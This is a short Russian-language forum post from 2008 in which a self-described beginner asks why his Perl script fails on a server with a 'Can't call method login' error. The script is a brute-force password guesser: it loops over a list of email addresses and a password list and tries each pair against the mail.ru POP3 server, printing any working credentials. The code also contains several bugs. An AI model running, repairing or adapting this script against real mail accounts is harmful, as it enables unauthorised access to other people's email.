Показать сообщение отдельно

  #500  
Старый 02.06.2008, 17:59
SeeJay
Новичок
Регистрация: 21.02.2006
Сообщений: 18
Провел на форуме:
163552

Репутация: 1
По умолчанию

Здравствуйте!
Заранее извиняюсь за (может быть) глупый вопрос!
Почему данный скрипт на Локлке работает а на сервере нет???

Код:
#!usr/bin/perl

use Net::POP3;

$Fpass   = 'passwords.txt';
$Femails = 'emails.txt';

$finds   = 0;

open($emails, $Femails);
while(<$emails>)
{
	chompt;
	$email = $_;

	open($passwords, $Fpass);
	while(<$passwords>)
	{
		chompt;
		$pass = $_;

		$pop = Net::POP3->new('pop.mail.ru');
		$pop = Net::POP3->new('pop.mail.ru', Timeout => 60);		

		if($pop->login($email, $pass)>0)
		{		
			print  "Good PASSSSSSSSSSSSSSSSSSSSSSSSS\n".
				   "[>]Email:".$email."\n".
				   "[>]Password:".$pass."\n";
		}
		else
		{
			print "[>]BAD Password:".$pass;
		}
	}
	$pop->quit;
	Close($passwords);
}
Close($emails);
Ошибка:
Код:
Can't call method "login" on an undefined value at hello.pl line 29, <$passwords> line 1.
П.С.
Сильно не бейте я только учусь!
 
Ответить с цитированием